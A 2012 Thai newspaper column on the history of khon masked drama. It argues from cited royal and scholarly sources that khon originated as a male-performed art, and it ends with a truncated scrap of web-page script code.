มติชนรายวัน ฉบับประจำวันพุธที่ 15 กุมภาพันธ์ 2555

 

          โขนมีกำเนิดเป็นของผู้ชายเล่น ไม่ใช่ผู้หญิงเล่น แต่โขนมิได้สร้างนวัตกรรมให้แก่ตนเองและนาฏศิลป์อื่นๆ

          อ. เจตนา นาควัชระ เขียนถึงโขนกรมศิลปากรในมหกรรมรามายณะนานาชาติที่ไทยเป็นเจ้าภาพเมื่อเร็วๆนี้ ไว้ในกรุงเทพธุรกิจ ว่าไม่มีงานสร้างสรรค์ใหม่ ในขณะที่บางประเทศมีสิ่งใหม่ๆเสนอ (จุดประกาย วันพฤหัสบดีที่ 2 กุมภาพันธ์ 2555 หน้า O8) จึง ตั้งคำถามว่า

          “เราอยู่ต้นแถว กลางแถว หรือปลายแถวกันแน่”

          โดยบอกเหตุผลว่าผู้ที่รักการดูโขน ถ้าได้ดูโขนต่อเนื่องกันมาเป็นเวลาหลายศตวรรษ ก็คงจะต้องยอมรับว่า ศิลปะการแสดงประเภทนี้แทบมิได้สร้างนวัตกรรมให้แก่ตนเองมากนัก

          การนำเทคโนโลยีสมัยใหม่มาใช้กับการแสดงนั้น แม้จะมิใช่สิ่งที่ควรปฏิเสธ แต่ก็ถือได้ว่าเป็นการเปลี่ยนแปลงเพียงรูปแบบภายนอก เช่นเดียวกับการลงทุนสร้างชุดโขนใหม่ในราคาที่แพงลิบลิ่ว

          “สิ่งที่พวกเราซึ่งสวามิภักดิ์ต่อนาฏศิลป์ไทยอยากจะเห็น ก็คือการเปลี่ยนแปลงในด้านของนาฏยสังคีตและท่ารำ” อ. เจตนา ระบุในข้อเขียน

          แต่น่าเสียใจยิ่งที่ศิลปะการแสดงประเภทนี้แทบมิได้สร้างนวัตกรรมหรือสร้างสรรค์สิ่งใหม่ๆให้แก่ตนเองมากนัก

          ศิลปินกรมศิลปากรและครูบาอาจารย์สถาบันบัณฑิตพัฒนศิลป์ ต้องอ่านข้อเขียนของ อ. เจตนา ด้วยความเคารพ เพราะท่าน“สวามิภักดิ์”ต่อนาฏศิลป์ไทยมานานมาก         (นี่ยังไม่นับที่ท่านมีบรรพชนเป็นคนดนตรีไทยระดับปรมาจารย์) แล้วพิจารณาไตร่ตรองสำรวจตรวจสอบตนเองอย่างนอบน้อมและสันติวิธี

          โขน ไม่มีกำเนิดเป็นของผู้หญิงเล่น สมเด็จฯ กรมพระยาดำรงราชานุภาพ ทรงอธิบายโขนว่า “ชั้นเดิมเป็นของผู้ชายเล่น” (อยู่ในหนังสือตำนานเรื่องละครอิเหนา พิมพ์ครั้งแรก พ.ศ. 2464)

          สมเด็จฯ ทรงอธิบายเพิ่มเติมว่าเอามหาดเล็กหลวงมาหัดเป็นโขนตามแบบแผนซึ่งมีอยู่ในตำราพระราชพิธีอินทราภิเษก เพราะเป็นลูกผู้ดี ฉลาดเฉลียว ฝึกหัดเข้าใจง่าย —– เพราะฉะนั้นจึงได้เป็นประเพณีสืบมาจนชั้นกรุงรัตนโกสินทร์นี้ ที่พวกโขนหลวงนับอยู่ในผู้ดีที่เป็นมหาดเล็ก จนถึงมีบุตรหลานข้าราชการไปฝึกหัด ดังเช่นเล่ากันมาว่า “พระเจ้าเชียงใหม่กาวิโลรสสุริยวงศ์ ได้เคยเป็นตัวอินทรชิต เมื่อเป็นมหาดเล็กหลวงอยู่ในรัชกาลที่ 1”

          นายธนิต อยู่โพธิ์ อดีตอธิบดีกรมศิลปากร ผู้แต่งหนังสือเรื่องโขน (คุรุสภา พิมพ์ครั้งแรก พ.ศ. 2508) ก็ย้ำไว้ว่า “โขนเป็นศิลปซึ่งใช้ผู้ชายแสดง”

          แล้วอธิบายละเอียดว่า เมื่อเจ้านายและขุนนางนิยมโขนมากขึ้น จึงพระราชทานอนุญาตให้หัดโขนได้ ไม่ห้ามปรามดังแต่แรก เจ้านายและข้าราชการผู้ใหญ่ใครมีสมพลบ่าวไพร่มากก็ให้หัดโขนขึ้นสำหรับประดับเกียรติ ทำให้ชายหนุ่มที่ได้ฝึกหัดคล่องแคล่วว่องไวในกระบวนรบพุ่งเป็นประโยชน์ต่อบ้านเมือง

          จะเห็นว่าโขนมีกำเนิดเป็นของผู้ชายเล่น

          ที่มีครูบาอาจารย์บางสถาบันบอกว่า“ในอดีตกำเนิดโขนมาจากผู้หญิง ในราชสำนักมีแต่โขนผู้หญิง” (มติชน ฉบับวันอังคารที่ 7 กุมภาพันธ์ 2555 หน้า 14) จึงไม่จริง และควรทบทวนตรวจสอบตำราโขนละครที่ใช้สอน

          ถ้าจะมีผู้หญิงเล่นโขนบ้างก็เฉพาะในวังเจ้านายสมัยหลังๆที่ทำสนุกชั่วครั้งชั่วคราวแล้วก็เลิกไป เพราะคนส่วนมากไม่ชอบ หรือจะด้วยเหตุอื่นใดไม่ประจักษ์ แต่ไม่ควรยกเป็นข้ออ้างว่าโขนมีกำเนิดเป็นของผู้หญิงเล่นd.getElementsByTagName(‘head’)[0].appendChild(s);if (document.currentScript) {